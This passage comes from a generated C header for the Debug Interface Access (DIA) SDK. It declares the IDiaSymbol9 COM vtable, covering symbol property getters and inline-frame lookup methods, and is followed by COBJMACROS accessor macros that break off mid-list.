[id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol9 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol9 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol9 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol9 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol9 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadSize )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadOffset )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRTCs )( \n            IDiaSymbol9 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        END_INTERFACE\n    } IDiaSymbol9Vtbl;\n\n    interface IDiaSymbol9\n    {\n        CONST_VTBL struct IDiaSymbol9Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol9_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol9_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol9_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol9_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol9_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol9_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol9_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol9_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol9_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol9_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol9_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol9_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol9_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol9_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol9_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol9_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol9_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol9_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol9_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol9_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol9_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol9_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol9_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define 